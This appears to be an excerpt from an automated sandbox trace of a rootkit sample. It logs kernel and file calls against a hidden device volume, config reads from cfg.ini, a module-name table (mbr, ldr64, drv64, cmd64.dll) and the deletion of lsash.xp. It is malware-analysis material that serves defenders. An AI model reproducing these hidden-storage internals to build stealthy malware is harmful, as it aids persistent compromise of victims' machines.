(Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.167] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.167] KeEnterCriticalRegion () [0121.167] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.167] ExFreePoolWithTag (P=0xfffffa8003b67cf0, Tag=0x0) [0121.167] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.167] KeLeaveCriticalRegion () [0121.167] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.167] ReleaseMutex (hMutex=0xf0) returned 1 [0121.167] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.167] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.167] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.167] KeEnterCriticalRegion () [0121.167] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.167] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.167] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.167] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.167] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.167] IdePortDispatch () returned 0x103 [0121.167] KeWaitForMutexObject () returned 0x0 [0121.167] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.167] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.167] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.167] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.167] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.167] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc3a50 [0121.167] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.167] KeLeaveCriticalRegion () [0121.167] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.168] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.168] KeEnterCriticalRegion () [0121.168] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.168] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.168] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.168] KeLeaveCriticalRegion () [0121.168] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.168] KeEnterCriticalRegion () [0121.168] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.168] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.168] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.168] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.168] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.168] IdePortDispatch () returned 0x103 [0121.168] KeWaitForMutexObject () returned 0x0 [0121.168] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.168] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.168] KeLeaveCriticalRegion () [0121.168] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.168] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.168] KeEnterCriticalRegion () [0121.168] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.168] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035cc000 [0121.168] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.168] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.168] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.168] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.168] IdePortDispatch () returned 0x103 [0121.168] KeWaitForMutexObject () returned 0x0 [0121.169] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.169] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.169] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.169] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.169] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.169] IdePortDispatch () returned 0x103 [0121.169] KeWaitForMutexObject () returned 0x0 [0121.169] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.169] KeLeaveCriticalRegion () [0121.169] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.169] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.169] KeEnterCriticalRegion () [0121.169] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.169] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.169] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.169] KeLeaveCriticalRegion () [0121.169] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.170] KeEnterCriticalRegion () [0121.170] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.170] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.170] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc34c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.170] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.170] KeLeaveCriticalRegion () [0121.170] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.170] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.170] KeEnterCriticalRegion () [0121.170] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.170] ExFreePoolWithTag (P=0xfffffa8003bc3a50, Tag=0x0) [0121.170] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.170] KeLeaveCriticalRegion () [0121.170] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.170] ReleaseMutex (hMutex=0xf0) returned 1 [0121.170] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.170] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0121.170] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.170] KeEnterCriticalRegion () [0121.170] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.170] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.170] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.170] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.170] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.170] IdePortDispatch () returned 0x103 [0121.170] KeWaitForMutexObject () returned 0x0 [0121.170] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.170] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.170] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.170] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.170] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.170] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc3fb0 [0121.170] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.170] KeLeaveCriticalRegion () [0121.170] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.170] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.170] KeEnterCriticalRegion () [0121.170] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.171] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.171] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.171] KeLeaveCriticalRegion () [0121.171] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.171] KeEnterCriticalRegion () [0121.171] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.171] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.171] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.171] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.171] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.171] IdePortDispatch () returned 0x103 [0121.171] KeWaitForMutexObject () returned 0x0 [0121.171] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.171] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.171] KeLeaveCriticalRegion () [0121.171] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.171] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.171] KeEnterCriticalRegion () [0121.171] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.171] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035cd000 [0121.171] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.171] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.171] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.171] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.171] IdePortDispatch () returned 0x103 [0121.171] KeWaitForMutexObject () returned 0x0 [0121.171] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.171] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.171] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.171] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.171] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.172] IdePortDispatch () returned 0x103 [0121.172] KeWaitForMutexObject () returned 0x0 [0121.172] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.172] KeLeaveCriticalRegion () [0121.172] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.172] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.172] KeEnterCriticalRegion () [0121.172] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.172] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.172] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.172] KeLeaveCriticalRegion () [0121.173] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.173] KeEnterCriticalRegion () [0121.173] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.173] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.173] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bba470, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.173] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.173] KeLeaveCriticalRegion () [0121.173] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.173] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.173] KeEnterCriticalRegion () [0121.173] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.173] ExFreePoolWithTag (P=0xfffffa8003bc3fb0, Tag=0x0) [0121.173] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.173] KeLeaveCriticalRegion () [0121.173] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.173] ReleaseMutex (hMutex=0xf0) returned 1 [0121.173] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0121.173] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0121.173] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0121.173] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.173] KeEnterCriticalRegion () [0121.173] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.173] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.173] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.173] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.173] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.173] IdePortDispatch () returned 0x103 [0121.173] KeWaitForMutexObject () returned 0x0 [0121.173] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.173] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.173] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.173] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.173] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.173] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.173] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.173] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.173] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.173] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.173] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.174] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.174] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.174] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.174] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.174] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.174] KeLeaveCriticalRegion () [0121.174] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.174] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0121.174] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.174] KeEnterCriticalRegion () [0121.174] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.174] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.174] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.174] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.174] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.174] IdePortDispatch () returned 0x103 [0121.174] KeWaitForMutexObject () returned 0x0 [0121.174] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.174] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.174] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.174] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.174] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.174] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.174] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.174] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.174] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.174] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.174] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.174] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.174] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.174] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.174] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.174] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.174] KeLeaveCriticalRegion () [0121.174] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.174] ReleaseMutex (hMutex=0x100) returned 1 [0121.174] Sleep (dwMilliseconds=0x2bf20) [0121.182] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6b6cd0d0, dwHighDateTime=0x1d24fa4)) [0121.182] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0121.182] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.182] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.182] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.182] KeEnterCriticalRegion () [0121.182] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.182] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.182] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.182] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.182] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.182] IdePortDispatch () returned 0x103 [0121.182] KeWaitForMutexObject () returned 0x0 [0121.182] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.182] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.182] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.182] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.182] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.182] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc3fb0 [0121.182] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.182] KeLeaveCriticalRegion () [0121.182] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.182] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.182] KeEnterCriticalRegion () [0121.182] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.182] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.182] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.182] KeLeaveCriticalRegion () [0121.182] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.182] KeEnterCriticalRegion () [0121.182] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.182] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.182] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.182] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.182] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.183] IdePortDispatch () returned 0x103 [0121.183] KeWaitForMutexObject () returned 0x0 [0121.183] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.183] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.183] KeLeaveCriticalRegion () [0121.183] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.183] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.183] KeEnterCriticalRegion () 